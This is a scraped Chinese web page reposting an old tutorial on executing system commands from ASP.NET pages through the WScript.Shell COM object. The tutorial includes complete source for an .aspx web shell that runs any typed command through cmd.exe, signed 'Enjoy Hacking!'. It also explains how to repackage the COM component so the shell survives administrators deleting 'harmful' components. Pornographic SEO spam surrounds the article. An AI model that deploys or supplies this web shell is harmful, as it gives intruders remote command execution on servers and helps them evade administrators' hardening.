国产99久久精品_欧美日本韩国一区二区_激情小说综合网_欧美一级二级视频_午夜av电影_日本久久精品视频

最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
當前位置: 首頁 - 科技 - 知識百科 - 正文

ASP.NET下使用WScript.Shell執行命令

來源:懂視網 責編:小采 時間:2020-11-27 22:45:05
文檔

ASP.NET下使用WScript.Shell執行命令

ASP.NET下使用WScript.Shell執行命令:ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對象的CreatObject方法;2、將COM組件轉化為.NET組件。 ·Server對象的CreatObject方法 這個方法比較簡單,直接使用就是。當然前提是服務器上已經注冊了該組件,而WScript.Shell是系統自帶的
推薦度:
導讀ASP.NET下使用WScript.Shell執行命令:ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對象的CreatObject方法;2、將COM組件轉化為.NET組件。 ·Server對象的CreatObject方法 這個方法比較簡單,直接使用就是。當然前提是服務器上已經注冊了該組件,而WScript.Shell是系統自帶的


ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對象的CreatObject方法;2、將COM組件轉化為.NET組件。

·Server對象的CreatObject方法
這個方法比較簡單,直接使用就是。當然前提是服務器上已經注冊了該組件,而WScript.Shell是系統自帶的,我們不用擔心。只是在編寫代碼時注意ASP.NET與ASP語法上的細微差別就可以了。直接給出代碼如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> 
<br>
Your Command:  <asp:TextBox ID="CMDBox" Width="200" runat="server" /> 
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" /> 
</form>
<div align="center">———– <font color="#0000FF">Enjoy Hacking!</font> ———–
</div>
<hr width="50%">
</body>
</html>
保存為aspx文件,訪問之,即可。

·將COM組件轉化為.NET組件
微軟給我們提供了類型庫導入器(Type Library Importer),經過它的轉換,我們就可以使用COM組件了。轉換之后,會有一個dll文件,需要放到Web目錄的bin目錄下組件才可以被使用。
雖然這樣多了一個dll,但是這個dll不需要注冊就可直接使用,非常方便,這也是ASP.NET與ASP的區別之一。哈哈,有的BT管理員沒事要刪除“有害”的組件,現在他也沒辦法了吧^_^
WScript.Shell對象是%windir%\system32\WSHom.Ocx,我們把它copy出來拿給類型庫導入器轉換:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目錄的bin下面。接著寫代碼咯,與前面的代碼有少許不同。

<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代碼1)
現在訪問之,看看效果吧:)

同理,我們也可以在ASP.NET下用FSO讀寫文件,Application執行命令、Jmail發送郵件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序點擊這里下載。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文檔

ASP.NET下使用WScript.Shell執行命令

ASP.NET下使用WScript.Shell執行命令:ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對象的CreatObject方法;2、將COM組件轉化為.NET組件。 ·Server對象的CreatObject方法 這個方法比較簡單,直接使用就是。當然前提是服務器上已經注冊了該組件,而WScript.Shell是系統自帶的
推薦度:
標簽: 命令 執行 shell
  • 熱門焦點

最新推薦

猜你喜歡

熱門推薦

專題
Top 主站蜘蛛池模板: 国模双双大尺度炮交g0go | 国产精品123区 | 欧美日韩国产一区二区三区在线观看 | 人成精品视频三区二区一区 | 欧洲综合网 | 国产在线看不卡一区二区 | 日韩专区第一页 | 殴美aⅴ | 欧美亚洲一二三区 | 欧美日韩国产在线播放 | 四虎影院永久免费 | 精品国产欧美一区二区 | 成人a区| 97一区二区三区四区久久 | 亚洲精品乱码久久久久久 | 欧美日韩国产精品综合 | 一区二区三区在线视频播放 | 国产一区二区三区高清 | 久久亚洲精品国产精品777777 | 福利三区 | 国内偷拍第一页 | 国内精品伊人久久久久 | 丝袜视频一区 | 日韩欧美中文 | 国产成人综合欧美精品久久 | 国产精品区在线12p 国产精选在线 | 在线日韩欧美 | 欧美日韩亚洲一区二区三区在线观看 | 欧美一区二区在线播放 | 亚洲欧洲在线观看 | 精品久久一 | 69国产成人综合久久精品 | 欧美日本综合 | 欧美区在线观看 | 免费一区 | 欧美自拍亚洲 | xx中文字幕乱偷avxx | 国产成人综合精品一区 | 国产欧美二区 | 亚洲欧美一区二区三区九九九 | 欧美自拍亚洲 |